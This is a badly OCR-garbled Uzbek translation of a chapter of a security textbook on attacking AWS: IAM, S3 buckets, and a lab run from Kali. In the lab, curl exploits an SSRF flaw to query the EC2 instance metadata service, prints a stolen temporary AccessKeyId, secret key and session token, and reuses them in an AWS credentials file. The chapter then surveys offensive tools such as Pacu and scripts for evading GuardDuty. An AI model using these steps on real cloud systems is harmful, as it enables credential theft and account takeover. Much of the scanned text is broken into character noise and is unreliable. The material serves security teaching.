EC2 tizimi Amazonga quyidagi Xizmat]an; taqdim etjs
* AWS Lambda, serverless funksiya muhitj

latsion ma’lumot|ar bazas;j Xizmati

yalari, Mmasalan, yyk balanslovchi[ar

Zmatlari, shy Jumladan
Amazon’ning tushunchasi odq

dir: u foydalanuvchi)arn; 0°z ekos
lanuvchilarga AWS Xizmatlariga
amalga oshiradi. Xizmat]ay haqid

1ga imkon beradi:

* AWS tarmogq funksi

» Elastic Kubernetes Service

iy hisoblash Xizmatlaridan tashqariga chiqish-
istemasi ichiga kirishga undaydi. Buni i‘o}’d?‘
tayanadigan dasturlar Yaratishga majbur qilib
4 gapirilganda, AWSning umumiy xizmat in-
0d<zliy bir misol—an'anaviy mijoz muhitidir.

ma’lumotlar bazasj infratuzilmas; ;
nologiyasini taqdim etadi. Vep.
less funksiyalar to*plamini yaratjsh mumkin, by

tizimini saqlashni ta]a}, qilmaydi, Biroq ushby model]
xavf modeli bilan birga keladj.

Server o°rniga, mijoz AWS Lambda kabi server-

4y autentifikatsiya qilib, uning

to'g‘ri foydalanuvchi ekanligini ganday bilish mumkjp» AWS’da hisoblar va

foydalanuvchilar qanday ajratiladi?
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Y

)y —-—

: 5
o, bt hoomspaiyn fbimge ik uobu
' : c - .

s lUS’“m'iSh kz:le;lz\n?!zr}:ﬁinﬁ}‘a’rénwvab Console’da admiqls'tritt;:?irr:gﬁ
tayud b(-)‘.lga'n . me‘:‘(anizm mavjud. Tizimning standart admlp(;s I: ki
o5 UCh‘Uﬂ . t‘ account ushbu bobdagi ruxsat cl'u::kle:wlar1da’harakami
account deb ataladi. Ro(i kirishigea ega bo*linsa, hisoblardagi hff\r céar}]ia;;,] et
et I:ODt o | da; hi;obni o°chirishga ham'erk.n? 0 e

b i iy kirishdir. Dasturiy kirish yor: amid:
h a dasmrf} 'si (CLI) vositasidan foydalanib tizimda
T e}:ialamn,'chi. xizmat va kor.np}juter dast%l-?
vdalanuvchilarning ikkita dasturiy

- ) y 3 I
Boshqa autentifikatsiya opsiy ot i
ministrator AWS bu)’r'ufllaf qa 01kin Foy
harakatlar amalga oshirishi mum| ;Jmkin =
riy kirish kalitlariga ega b_‘fhsm .
RS bo‘lib. wlarning asl
. » 1 DO 4 = .
7% PR lart formarga ege : ;
i kirish kalitlari standart _ § : i, Sl
Eslatma: Dastitri kirish k ordam beradi. Hujjatlarda bu 1 !- i qi-
i i A8 keltirilean. bu esa hujjatlarda topis j.!,-- 1!
i "(l;ri shimcha o 'gish wehun™ bo HYHJ}
‘ﬁﬁ.‘ worlar) bolimiga havola mavjuc
(

rinse Lo "':q
Magsading yaxshir £ ) sl
lifier™ .rrrm"q-’ft‘ ;J‘-N!;Hh:!m.ﬁ .\!f:f’\_;}_hmu,f
Vinlashiivadi. Ushbu [/,(,,h;.ru-’,h)’ p 18 .;'(fc‘i?r'f
: Y L Teren. .
{fu "}\’L';t"“l'”"ltl f{!’('”“”('! Al f‘lr\L_f(ff; ”Hfl-

. F o aihinaizii favsiva qilamiz.
holib, uni o gishingizi ; : V-
ol f ment (IAM) deb ataladigan xizmat rpat
Manage S IAM AWS dagi avtorizat-

: im etilgan. AW i
' lib. bu xizmat 2011-yilda taqd":y:l stgandarl holatda barcha ruxsatlarni rad
Jud bo°lib. bu xiz rl

ini idi ida kirishni ochishi

. delining asosidi .+ vizmat uchun alohida kir

Slya va ruxsatlar mo istrator har bir Xizm
{ iasica ega. )

arajasiga ccshli bo‘lib. agar bir kompyuter S3

a S3 bucketga kirish huquqiga ega

AWS’da Identity and Access

in
etishga soz]angan'. Adm S .
kerak va har bir x[z'm}; ru?:a xizmatlarga tegl
2 h] ar v ‘Sh
Bu foydalanuvehiar ¥4 - hlasa, u 0
bucket biizn mulogot gilishnt X0

bo‘lishi kerak (27.1-rasm)-
3 IBS;:'clfa [AM ruxsatlari JSON huyjj

ati sifatida taqdim etiladi:

! .
“Version™: “2012-10-17",
“Statement " [

{ - . "
“Sid”: i-"fSIJﬂa"Edff(jﬁ:' 0,
“Effect®’: “Allow
“Action®": [
“s3:GetObject”,
“s3:ListObject "

“s3: PutObject

/l

" pre
“Resource® " [” ndom-buckel/*"
“ o Y
arn:aws:s3::;ghn




P e -—*-l_ =
Lin i
e
[ A r’ o
“arn:aws:s3:::ghh-random-bucker "
]
J
{
I
“ListFile” Boshga
Accountnin
33://Bucket1 da
bo'lishini xohlayman
Tasodifiy AWsS “ListFile" 53: {/Bucket1
Fevdalanuvchi ¥ da bo'lishini xohlayman
Rad etilgan e |
Tasodifiy | benagan B¢
foydalanuvchi uchun | EC2
ruxsatni tekshirish EC2 uchun
ruxsatni
S
tekshlrish Ruxsat berilgan
“ListFile” 531/ /Buckaty AWS Ruxsat berilgan
da ho'l&shinbxahf.ym.n -FDr':l'ﬂahnuvchi
uchun ruxsatnj Bucket!
Fovdatanuvihl AWs tekshirish )

27 I-rasm: j4py Avtorizatsiyg 0qimi vizyaliz

Tizimning murakka
uchta muhim elem t

berish (Allow) yoki rad etish
xohlanayotganlikni ifodalaydi, od

atd
Oldingi misolda S3 Xizmatiga va

a Xizmat va APp] chagiruy

atsiyasi

ini 0°z ichiga oladi.

( _ maxsus o*qish harakatlariga, masalan, GetOb-
Ject, ruxsat berilgan, Resource b

nomlangan server yoki “Mike” de
Lekin Amazon mening hisobimd
chini ganday farqlash m

gan haqiqiy identiﬁkatoridir.

AWS tomoniday tavsiya etilgan am

suiiste’mo] qilish
AWS bulut platformasidan foydalanishda o

mida, maxsuys format
Amazon Resource Na

da bir nechta eiemenlli.ll'
me deb ataladi. ARN ti-

aliyotlarini

Peratsiyalar va xavfsizlik uchun

1

S . li-
. ; hunilgan eng yaxshi ama
; - gungi kunda keng tushunil : W ———
sizlik va operatsiyalar UCI.Iun buzwg xavfsizlik va operatsiyalar bcf ?J?ha}(o‘q lab
yotlardan oldin paydo bo*lgan. bulit provayderlar dawe Biziilie p

: ‘ irinchi ! b
moslik muammosiga cga bo‘lgan bir ini ulash va boshgarish bo‘yicha eng
0 18 lut komponentlarini lar. Aoar AWS
mijozlari bugungi kunda bulu llardan foydalanmoqdalar. Ag

. +di su ey Z .
vaxshi amaliyotlar hisoblanmaydigan u day qilib oxirgi foydalanuvchilarni

I ini va ular gas : ¢ i day qilib
oA NI lsm‘a?:ilm';‘riqnomalar berilgan bo‘lsa. ularni ganday q
izi ini i ishlatishda y
tizimlarini qurish va ish

o ish mumkin.
osonroq buzishni tushunish

Admin Bastion Xost Dizayni

iy Kiri itlariga ¢ ‘lishi yetar dlot administrator darajasidagi
o [k e Cg{i]é’io Shuning uchun. tasliil:jioto?i hisoblash instansiyasiga
hisoblanadi deb qaror qild1. tadi. Ushbu

yara

. : rolini :
Kirishga ega bo‘lgan IAM aniladi.

(ya'ni, EC2 instansiyasiga) Cll\f’/li
u nafaqat VPN sifatida. balki

(2 instansi Bastion Xost dcblatalafil{ \;la
Cl Ed:l"li boshqarish uchun ham ishlatilishi
wS Clo

i ter ruxsatlarini
: utdagi kompyu atla
i tizimga kirgamdﬂ.- u']arﬁiiiim SSH orqali boshqariladi va
mumkin. AdI.Tl]'IllSlI'atoLiri;hil;i olishi rnum'l\m‘, im shuningdek, o°chirilgan. {&so-
ishlatib, administrator X tratorlarga beriladi. lel'jl it ik e, s
SSH Kaliti faqat adml.n.lsh' vo-.ﬁ"fmpish va ush' uﬂ aémini e An]a-_
o [iZilnga'klrlsllkerak. shunda b,”t.ummE ms Manager mahsuloti, ya ni
qilishdir, Tizimda b:r§i1€] ri yo'riqnomasizL S'}Isgu turli xil tashqi menejeria'ml
P aImll'lyol'ﬁsh orqali o'zgartirdl tion Xost’dan foydalanishning
Wil e q;}ibu mahsulot bilan Bas
p di va u
qo*llab-quvvatlay

poct tirdi.
. : almash .
- nhaliyotini ) i i
SR e Jashda osongina noto*g'ri
q

i ruxsatlar o ' .
tusmld“‘Ilg??’ile Storage varianti mavjud bo°lib, bu
ataladigar

iladi -dagi S3 chelaklari ko"pinchzf

i i amalgd it itv\/z i?gmatlari uchun Ioglar.kz}bl

S3 mahsulot liniyasi 0rqa lshu jumladan. turf; s e b

har xil turdagi narsalarnl, Jash uchun ishlat ari .darajada e

nozik shaxsiy nars?'lsr?j i‘Zﬂllami pulutda yuqo

Matlardan biri bo"hb, 1 7%

saqlash imkoniyatin berili- —

Boshqa xizmatlar ' ;;satlar oson
€ga bo*lishingiz kerak. Rt

: ladi.
: ochiq 9°
bucketlar tez-tez Internetgd Authonzed va

Fnyllarni sa

AWS da Block Storage deb

s oishli ruxsatlarga
qea kirish uchun ham tegishli rv o
Cketl?llclﬁilan afegaistl smumkin, SHUBREE o
s Bu, S3’dagi ruxsatlar um;:'gk:ltegofi'
Authorized by Accos}l:é‘;e Iilov shun-
: i : ib chiqadi. Boshqa bi a oshi-
. . da Pub]]c1 S ndan kf}llb c X = . . amalg i
yOlrhqlan 'yorda‘glglar'is i mum’l;"::c%tlaming shifrlanis hlfn .m]iliJ b.: lr-)l{gan bucket'lar
za vl 0r351da, . ozilgan M@ llSe,zgir ma’lumotlarni o'z ic &gBa[ancer logidagi
rizl:il’ bUCk?ZE,? I);avjud emai.sat periladi. Misol uchun, Loa
mexan o ru
ko‘plab hollarda o°qishs? 267




ma’lumot miqdorini ko‘rib chiging: Session 1D qiymatlari. yashirilgan URL lar
yoki oddiy matnli ma’lumotlar mavjud bo*lishi mumkinmi? Qancha dElStUI‘C']‘II-
lar logga yozilgan ma’lumotlami yashiradi? Ushbu loglar qancha vaqt davomida

saqlanadi? Bu savollarning barchas; log*larni gidirish qanday katta qiymatga ega
bo‘lishini ko*rsatishi mumkin,

AWS S3 Bucket'lari bilan bog‘liq eng
qilgan, ammo uning oz yo‘rignomalari
bu amaliyotlar ham chalkash bo‘lishi m

yaxshi amaliyotlar to*plamini e IOI?
yillar davomida o°zgartirilganligi sababli
umkin.

Laboratoriya ishj 27.1:

Mubhit ch27 papkasidagi Github ghh6repos

skripti yordamida sozlanishj mumkin, Atrof-

dagi README fayliga murojaat qilish kera

biri skriptni ishga tushirishdir build.sh @ p
digan maqsad hagida ma’lumot berad;.

Mubhitni sozlash .

itory omborida joylashgan qunlls'h
muhitni sozlash uchun ch27 katalogi-
k. Ushbu Jarayonning bosqichlaridan
U oxir-ogibat ushbu bobda foydalana-

o ‘ o
bulutda Kl Liniuy ‘l'mcfu‘f”“f‘
' ; I 111
Shundaki, yshby laboratoriva uchi

. N T T BRPRRL) S LD
. , : ngdek. standart Kati distributi
larida topilmaydigan vosital

ardan foydalanitudi

E—( kali kali) -[~/G HHv6/eh27/1 abj
8 /build sh®

<--OMITTED FOR BRE VITYe-eo>

Autentiﬁkatsiya boshqaruvlarini
suiiste’mo] qilish

AWS da avtorizatsiya uchun ishlatiladigan me
[AM tizimida turli ruxsat]ar foyd

AM t a turli rux alanuvchining o ruxsatlar to‘plamini o‘zgar-
tirish imkoniyatini berishj mumkin, Yi i

monidan turli ruxsat muammolarj k
ko‘plab usullarni topdi yoki
Asosiy vazifa ushby maxfi

ataloglangan. Ushpy guruhlarning ko‘pchilig!
ruxsatlarnj bajarishga urinishlarni amalga oshirdi.
Y ruxsatlardan biriga ki rish; bunj amalga oshirish uchun

IAM foydalanuvchip; autentifikatsi
nechta usullariga ega, Bj; usul - bu stand
da foydalanuvchi nomj v parol orqali
mexanizmlari mavjud. SAML federats;

ya qilish va avtorizatsiya gilishning bir
art konsol dastyr; orqgali login qilish, Dd.at’
amalga oshiriladi, ammo alternativ klff5h
ya uchun qo°llab-quvvatlanadi. O*rnatish
. vjud emas, garchi AWS’daoi ic Kubernetes
Service kabi xizmat]ar OIDCp; " .W.S dagi Elastic Ku

i dalanuvchilari API kalitlariga ega
iva qili ‘|lab-quvvatlaydi. IAM foy S : ey
5’)'_1.1‘1_1 Shuur;}::iltlll c:?sll'lltz:u I?alillar hujumlar uchun asosiy EO; lfbl; );,?j;l[l(?;hib kela
quul;:llz?lloramri'yada ularni qanday suiiste ' mol qgilishni ko*ris

Kalit turlari va Kalit materiallari

. i .q Y kl X. ma -_a

Q% ini di. S .
i1 iy kirish huquqini bera. . ‘ i ma’lum bir for-
nZlmI:ga' qasu'lrllc:})'liq boshqarish imkonini beradi. Dastur kalitlari
orqgall tizimni

bo*lgan ikki turdagi kalitlardan foydalaniladi.

iladi
i it Qayerda Odatda Topi
Kirish Kalitl | - pecurs Turi Kalit Q

Prefiksi

AKIA Kirish Kaliti

Ushbu Kalitlar Yaratiladi va Foydalanuvchilarga Bog'lanadi
S k

4 I I ni I][S‘ﬂ]l( e ]Vleta a Xl mati S0 a]ﬂa a
u ahtiar dat XI1Z ga I “d
Ushb I\( { :

[ : oisi langan
Vaqlhwh-?gk topish mumkin. Buning uchun sessiya belgisi deb nomlang
S
ASIA AWS

cerak.
Kirish Kaliti | qo‘shimcha komponent kera

i jud bo‘lsa-da, faqat
. ina ko*proq turlari ma\'qu. . by A8
Kirish mumkin bolgan ka][l]am]jr;fn bolsjhlanadiga“ ikkitasi ko'rib chiqiladi.

i AK iASIAD di 5t 0
S s 'ARI{A'y?Il(lloﬁtlarda sessiya belgisi kerak bo‘ladi.
Bu kalitlarning siri va ba Z

: inchalik kalitidan
tlari (ACIE) aynigsa xavflidir: AE?S SE{uSn ;??S:Eng sl slish
Sanl ka]ltlfl!‘l ( 1 qaytarib. qolda aylantlrmsa i yodda tutish kerak.
I kn{?itifni o‘rganishni boshlaganda buni y
muddati tugamayd!.

: alitlarini topish ' '
ivzs i?srts:gt [P manzil b?ri[ﬂ(fl}_. .t{uhsl.k::nl:
li Linux'ni bulutdagi I(:_ih.m is ;1' -
llar ichki IP maydonla_rl bllz.m is ?1
li versiyasi orqali ma\glfd bo a-r
Metadata Service orqali ganday

Laboratoriya ishi

i ]gﬁ

Muhit paydo b""gand-a ; S?uitiujadir. Ka

bajarilgandan keyin Ch‘qa(.j]ga“ i ba’zi miso

murmkin. Ushbu laboratoriyada® D p i Ka

uchun mo‘ljallangan bo‘lib. bu ?’tlariﬂi Identity
df: U hbu laboratoriyada AWk ko‘rsatadi
¥ ula « PUNE [ O'r .

1 Um ‘1an ko*rish mumkinligini ot Boslicht

osonlik bilan kalitlarini topish bir oz qivin m-;-. s

ioi kerak, va AWS kalitlari maxfry hri f;’\ :’:

o :’:{; ‘hr;uucm joviarda, masalan, CitHu

I oki
horilean JavaSeript kodida yok
n o ‘reanmiz. Biz hatto

111 ‘iﬂ.”J.
Vaslahat! AWS hisob [D-lari
F g e 4 ochie &
mumbkin. Hisob ”)-f"f” g “{:-;H'HL’ xavfsiz
kerak. Birog, bu md Hamos J f.f‘ hrauzerga Y
ﬁ-{”!”' J.’;.'I‘JHF hu_\;hﬂ”—f“'f H.':””:!{” rldd,

: otganini k .
fa saqlanayok ; 1 wlarda,
kodlangan holde it ishlatiladigan joy
mobil ilovalarda qariig A --;;{,;!:e'r’?i’if-""""f”f”’ (
. Sl
: Jrinii vt I
wlar ve bela targalis
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masatan, Trello da gidiruy natijalari ropil

gan. Bu muammo ganda: keng tarqal-
ganligini hisobga olean hole

la. iniernemi by kalitlarni gidirib doimiv ravishda
a.yomon nivatli botlar armiyvasi mavited

Endi cURL yordamida bi AWS’da Identity Metadata xizmatini so*raymiz.

S curl hitp://3.234.217.2
<hI1>This app has an SSRF
</h1><h2>Requested URL
<h2><pr><pp>
<pre>dynamic
meta-data®
user-data®</pre>

18:8080/21r10 =http://169.2 54.169.254/latest

P hp://169.254. 1 69.254/latest/

Ushbu ssenariyda ko‘rsatilgan 3.234.9 7.218 manzil — Internet orgali mavjud

bOiIDan server manZi“ Usllll]] m i i h d [{ O l] chn q.
. aS]'lmEl nlSh E g n ([II[ on 'I i i :
. onga 0] a T l ! l]

: o'rovlarni M 7aiflioion ega.
SSRF ilovaga server soxtalashtirish (SUR] ) zaifligiga €&

kiriShi mumkin bo‘] . . i
y ? gan boshqa : n. ichki
tlovalardan veb-trafiknj ushlab qolish imkonini beraciii P

Eslatma: SSRE 1Spioon ey o _
Sl el RF (‘SH ver-Sicle .)!i{!(‘“w\_{ f'—u.r-‘g‘xta_::] ) kabi zaifliklarii anigle ish oson
s tn nm.m#m. MQ_JJ_MU,JJJ kabi vavshi tamilise TP iigneilidern
g ”.”m.'\h' lizim natijalarini Yashirish ueh, f.fu'w‘n'n.r ] i hirea murofad!
o ngiz mumkin. masalan, | 69.254.169.25.4 p hmht}f: ,:f! :;: !;;J:;H, o garti-

T - ormtlare =5

! f\!f. ”;}{f\{!x[lf.’_ f)!\-l(.lfnf, (7] ‘fl’/.l; 1K Hq .‘I J“[ ].(J { 4 U ' ’
/ oA !f : {f . il fflf ¥ I-..‘l‘..!' A‘l"”i‘rl'lﬂ fl'”\fl(!’ (fll!‘. Y i !
{ o dantog ¢ o D ff\”!/{f'!{\fﬂ” ], '_J;J,{ 1 f 'f ;{l’l’“’ { : |

i { 1 ] { RYJ ol

oLning bajarilishini  koddan koerinib turibdi-
m;?;ihtu}ghun mas ul bo‘lgan ichki API’ga yo*naltirila-
169.254—by marshrut| e 127,000 (IUOPbaCk)ga o*xshaydi. Spac€
'y \nagan, ammo mahalliy ahamiyatga ega manzil. Bu yer-

da ko‘rgan 169,254, ;
i '69h Provayder] WS instance metadata manzilidir. Bu AWS
. e . . . g

yaxshi aniglangan va taniqli xizn);at rﬁrisﬁmontdan qo‘llab-quvvatlanadigan juda

hagida ma’ly bipe g Mmetama’lumotlari biz jo lashgan tizim
g mot berishi mumkip Ushbu so*roy natijasi bizga c:"rjgaj:m10‘:[f?hi bo'l-
ikkita katalog, - Pt meta-data va user-data deb nomlangan

Biz ularnin R . . ,
ki xizmss biiagn }i]:l:I:slle }I:O rib chiqamiz, Birinchidan, biz qaysi turdagi xost
ni muvc:)zanatlashtiruvchg '?arakat WHayotganimizni aniqlashimiz kerak. Bu yuk-
usuli teskari DNS grar ™17 BU Lambda namunagimis g aniglashning bir
Qudiruvidir. Ushpy, Qurilma EC2 Namunasi bo‘lishi mumkin;

2?()>

bu yerda ko*rsatilgandek, ushbu natijani tekshirish uchun teskari DNS qidiru-
i yordamida buni aniglashimiz mumkin: o - -
" }?‘ad-l;n:,iior Simidqa biz URL ning bajarilishini boshqaramiz, k;)lc}da l\g ;Zai
7 . c . A e 0 i
tilgandek. uni qurilmani boshqarish uchun nllg? Elob? I(%ggpt::l:)Aoa :?xihavdi.
n . ) anzili tabiatan .0.0. : g e
- i manmanan lekin mahalliy ahamiyatga ega manzil hi-
B - > i ining
i. Bu verda ko‘rsatilgan 169.254.169.254 man'zm AWS mstanSIyasn}C:l!;;
SOblﬂ{?adl- u1;;\ii:irclir Bu AW§ va deyarli barcha bululh' pr'ov.ayderclﬁr I;Jmt(::Si :
mm]? ;la n?a;tlanad.ioan juda yaxshi aniqlangal? va lamqh. x1zmat"1r._ ;;a ik}ki
qol ?:l ;qi\fvaa tizimll;aqida ma’lumot bera oladi. Usl:ibu so@rov natijasi bizg
metadata bizg 4 » “user-data”'®.
maxsus katalogni ko*rsatadi: “meta-data”@ va “us tganini tasdiglash kerak.
' l " 'si turdagi xost yoki xizmat bilan ishlayo g i? Buni aniglashning
AW‘? st 1at[as§ﬁruvchimi? Bu Lambda nal'nunastml.' bu?;‘shiq;numkin?
B.U }-’llk]'.ll mLM—)‘Z?)INS - diruvidir. Bu qurilma EC2 _mstanmyamkl 0 blu - ko‘r:
:) lrkUSL'l]g)Tl\e};ka'lcliiruvi \-?)rdamida ushbu natijani tasdiqlash mumkin. bu'y
eskari qi ,

tiramiz.
169.254 maydoni marshrutl

satilganidek:

(kali kali)-[~] 2218 onaws.com
ESHS!UU":”J” 3.234.217.21c e LT}__;_}H_;},I?-3}8_¢-ompu-'e-I.ama_onml ; :
218.217.234.3.in-addr.arpa na

: ec2-3-234-217-218. Bu xiz-
i tga ega: ec2 3-234-2 .
e it formi;]”zs ekanligini ko‘rsatadi. Shu-

kazi uchun identifikator hisobla-nafdu
a metadata xizmatining

Bu yerda PTR yozuvi m2 | anzili 3.23
matning EC2 ekanligint va [P m B
ningdek. compute-1 us-ef::'—lt n]:lumkin ki Al

ndi joini bilish :
Endi EC2°da ekanligini |
birinchi qismi o‘rganiladi:
. ; 5 254/latest/metadata/iam/secu-
(halikal)-[T | o1 sos02url=hip://169.254.169.25%
Scurl hip://3.234.217.216
rity-credentials

<hl>This app h

</hl><h2>Reque

</h2><br><br>
<pre>ghh-ec2-role-

/ iam/securitycredentials
as an SSRF //169.254.16 9.25 latest/meta-datc/iam/securit

sted URL: hiip:
j=d4wrqo@</pre= | |
to'g‘ri 1AM ma’lumotlariga oid meta-
Uiihbu EC2 instansiyasida IAM ra'al}
qirayotgan tizimning ma’lumotlarini

tlar turlicha bo‘ladi, chpnki qiy-
RL’sini so‘rov qilib olish kerak:

‘o ridan
Biz foydalanayotgan URL tf’a; ;iladi.
data xizmatining gismiga !nuroi"a at uni cha
ulangan @. Xizmat O'Z'O.ZIdantar?ladigan qiyma
Qaytaradi. Har bir serverda 42y Ushbu xizmat u
matlar mahalliy ahamiyatga ¢&%

; premes/169.254.169.
E{A‘aﬁ kali)-[ ;/134 217.218: 8080 2url=htip: 16
S curl hitp://3.23%=0 "7 4 g0
curf{wcredenﬁa.’.v'Sh'"“'c‘j"mk -

254 Jatest' meta-dataiam /se-




m7ECVw==""

—AccessKeyld®: By

— SecretAccessKey®: zon’dan olingan API kalitlari bilan
kerak bo‘ladigan maxfiy kirish kalitidir.,

— Token®: By sessiya tok
autentifikatsiya materialj hisob

Eslatma: Ushby misolda e,
laniladi: standart EC
o ‘rnatilgan bo ladi. INDSy>
di, chunki token olish uchun g
HTTP so‘rovi PUT metodi o
oshiriladi. Tokenni olish uchy
buzadi, chunki so 1oy G

<h1>This app has an SSRF

<--OMITTED FOR BREVIT Ye--->

<pre>{

“Code” : “Success”

“LastUpdated" : “202]-04-08T00:35 02z,
“Type” : “"AWS-HMAC",

“AccessKeyld®": “ASIASPLYZV6F 7IKNOBSK ™
“SecretAccessKey"® : “SWiGSbit 7ngfBrzELNJch IPSUWXYeSjGlziw X ™,
“Token"@ :

“1Q0Jb3IpZ2IuX2VIEMW/11111/
WEaCXVZLWVhe30tIMSJHMEUC OD9Ymeob4HY5e Ypg721PanBnsd
<=-OMITTED FOR BREVITY.-.~
CklgtA/bh2juMY+VNe/

HurQIQWKL)’DC]GWsKYFathVNeR?MzN.Srs:Q!’P.?jGS6?gDKg-‘J.S!()[bf)?}-Ii"h.ﬂr,{\'ﬁ )
WwUnV9QONZS Yal/Js AfUOSgh DAG 76 VUBOUc/O4kdS0mw OiQK 46 3.7h8 Tiw 3 faKy950-

“Expiration” : “2021-04-08T06:43-057"

f</pre>

Endi bizga API Kaliti taqdim etildi: kalit uchta qismdan iborat:

yerda ko‘rsatilgan Access Key ASIA bilan boshlanadi-

vaqtincha kalitj bo‘lib, 6 soat davomida amal giladi.
Bu odatda Amg

eni giymati bo‘lj

b, foydalanish uchun qo*shimeha
lanadi,

nity Metadare Servie
Launch lemplate dy 1 DSy
mijozlarni yspipy, Iujim
O'shimeha HTTp SO rovi
rqali Yuborilean by ‘1ib,

n Pl 'l"mw:m’h&m_}'um’c
ET so ‘rovl .'.T'f{f(”?_}’h"; ' fufu;i‘f.\'

¢ (INDS) v1 dan foyda-
I va INDSY2 ikkalasi ham
vektori qarshi himovu ;‘H'flt =
lalab gilinadi. Qo shimcha
f’{t'_l'f.f? GET so'rovi ani H{_L’“T
tlanish SSRE hugjan vekrorin
hi kerak be Tadi.

. . ials va .aws/config.
- . ir ailish kerak: .aws/credentia =
- i ikkita faylni tahrir gi jpsiech S : fovdalaninehi
o g i Wi v ol
Shbu Tay A ials va /home/kali/.aw: g
ari cali/.aws/credentials eali catalogida joy-
lari uchun b”c? .lzi?zflnt\'av]inuizni tahrir giling. bu ﬂ]gmeﬁ?;ﬁ?\:os*:i i ak:ettiriShi
AWS ]Ll'e dz u quyic'iagihkod blokidajoylashg-aanu:’:;ﬁoa olishibkerak; giymat-
]ashgﬂfl S ll'_“dl tials faylida ushbu kod blo]_u'm 0°z ich ct Ry e
IR, APl usxalash va joylashtirishda ehtlyo‘l' ini go°shish kerak
laming " 0|n!arlga za-[r-linﬁqaydigan aws_session_token b]:] l'mro geriladi.
b Im;_v.l;gi M}:S:xalish kerakligi hagidagi ko‘rsatmalar keyinrog
o’ladi. Nima

[default] ZV6F TIKNOB3K il X
2 ey {SPLYZ ' wXYeSjGlziw
aws _access_key_id AShju’;}'GS bit7Wel BnELNJL{{S: i’ :9 g;(‘il‘,\’l": LWVhe3QtMSJHMEU-

aws_secret_access_K) - 1b3JpZ21uX2ViEMn////!

aws_session_token=1Qo.
ClQD9Y ,
= '8 0ino T BnsdCX ,
meob4HY5e9jpg721Pan S DpLKFN362yHSSqtAMI-
<--OMITTED FOR "i{iﬂ ':f;/}” JyhxgiNPMS83 1qs80Ceegrp
o NC gfLo<yn.
bgsJmrr+QIgNCP4Y
UhABGgwxN:AONDEOMjA20D dagi AccessKeyld dan olinadi.
. idagi
i i bizning yuqoricas i, aws_session_to-
id giymati bizning yudt xalanadi. aws_: .
wivs, oceas Key = QS: SecretAccessKey dan an:'s * faylini ham tahrir qilish
aws_secret_acccsf's_key ]Ei:na di. “/home /kali/.a\}’sf‘?‘;“ lfmr Résriannt sozlash mu-
ken Token qi}’ma“dm} ]0 default] bo*limini qo'shl? 1nz ouu'Jut. juda muhim emas.
kerak bo*ladi va [thihimcha elementlar, masalan,
himdir. Har qanday qO'

2 e 4 di.
i tilishiga olib kela
ib yuborish JSON formatida chop e
Output™ni o*tkazib yu

[profile default]
e AWS API’'sidan foydalangan

mnao. " . .
lagandan s0'Ng ni qidirishni davom ettirish

s bt SOZ 5
-0 faylini to’g’r1 SOZ *lumotlart
] IdAW?VgD/];\II;% &iitimiz uchun hisob ma
10lda A

mumkin.

E(kah‘ kali)-[~] - identity
)

aws sts get-caller v H54AKWE: i-06bf43069/040 le34",

.. . & 3 - Lrd Of I’(C}
! natjani olish veb-ilova xavfsizlik devo '.‘.Uﬂ,,.,d--_. “AROASPLYZVSF

70441420653 4 10683 -assumed-role ‘gh

J-ec2-role-izd4wrqo'i-
“Account”: 1 . ]
“Arn": varn:aws:sis’ 1704

: 06b/43069/0401e34"
tashqarida EC2 IAM

bulutida ishlatishni X0
Miz mumkin

8 ishlatilishini qidiradi 7 Ushby kalitlami AWS
da,o‘z mashinalarimizni ishga tushirishi-

hlaymiz, shy qator




Agar kod bloklari to°

g'ri joylashtirilgan bo‘lsa. endi so‘rov natijasida 0°z-
lashtirilgan rolni va E

C2 instansiyasi rolini gabul qilayotganni ko‘rsatadigan
u. Active Directory domeni bilan boglanish va mashina
hisobining credential’larin; ishlatish kabi hisoblanadi. Ammo bu kalitlar bilan
nima qilish mumkin? Bunj yanada chuqurroq o°rganish kerak bo*ladi.

Hujumchi vositalar
AWS hujumchi vositalari amalga oshirmogqchi bo‘lgan ko‘plab harakatlar-
ni avtomatlashtirishda yordam bera oladj va har bir vosita odatdagi ishlatadigan
ramkada qurilmagan bo‘lishi mumkin. Biroq murakkab so‘rovlarvva hujumlarni
amalga oshirish uchun skriptlar va vositalardan foydalanish mumkin. Ushbu vo-

ularni qanday qilib eng yaxshi
ga harakat gilinadi. Bu o'z hujum vo-

avaAWS uchun hujumga qaratilgan vositalarda uchraydigan

bo*shligni to*ldirishda yordam berishj mumkin,

Boto Kutubxg nasi

_ asosan Python tilida yozilgan va Python
Boto kutubxonasiga asoslangan, Ushby kutubxona AWS’dan olingan bo*lib. AWS
CLI'ning asosi hisoblanadj. Buni tezda anj

modullar uchun so*zar ro‘yxatidan foydalaning
— Agar sizda IAM ruxsalari bo‘ls , o
- d, maxsus X1zmat . 1i anig-
lashga harakat qiling. uchun ruxsatlarr

— API'ni to*g'ridan-to*g*rj chaqirishga

S0°rovi yuboring, so‘ngra harakatni bajarin
ga kirish imkoniyati bo*|ad;.

harakat qiling, avval API’ga DryRun
8. Agar Muvaffagiyatli bo*lsangiz, siz-

. PACU Framewg
Rhino Security Labs tomonidan -

. ; _ ishlab chiqilgan PACY Framework eski vo-
iif?:n aza:zg\?nk; SWer_rdAALni, mukammal O'zgartirishlardan biridir. Weird
vistiades, biriebo‘le:ill;Vl(\:?iS (AWS)ga hujum qilish uchun ishlatijad; gan dastlabki
3 BAtts kutubxonani’ ; e;)rd Amazon /?ttack Library degan ma’noni anglata-
bo‘Igan AP chaqimvlariot;? ]Olg-?jn Va hujum magsadiarida foydalanish mumkin
quyidagi muhim mog Plamidan iborat mody]jar to*plamiga ega. Framework

- 1AM

=EL2

ullarni o¢ ichiga oladi:
modullar;
quqni oshirish modullari:

ruxsatlarini sanash uchun
va Lambda yordamida hy,

qochish modullari:

o iva gilish im ] o o
~Orqa eslgtulnp:'ﬂqﬂlz;igaj;h;z xohlagan barcha funksiyalarni 0°z ichiga
Birog PA ol

WS CLIni vosita ichida chaqirish imkonini
Imaydi. Ammo foydalanuvchi]argaA S. L'lm‘vo?ltli 13111 : 1?3 ity
(l;l 21\ FI:J | sa qo*shimcha moslashuvchanlikni ta miniay . Bir muamm

eradi, bue

; i saglamaydi.
ki, CLI chiqishni qayd etmaydi va modullar kabi saq

koniyati.

dBoto .y -
R‘;san Boto kutubxonasini o°rab olgan bir
. asosan.

lekin bu framework emas. Birog uning ba’zi
ok

ishi mumkin:
: daoi vazifalarda yordam beris
i i 2 ‘lib. u]ar qLIYIdag] vazi . oo bOShqa
- Skl‘lpﬂanl mav-'l;-l(ilﬁigo];ftl)ami sanash uchun skript. Bu GuardDuty
— CloudTrail yoqilg

: dali. .
e : ochishda foy - viudlici-
el avfsizlik tizimlaridan g s turdagi mavjudlig
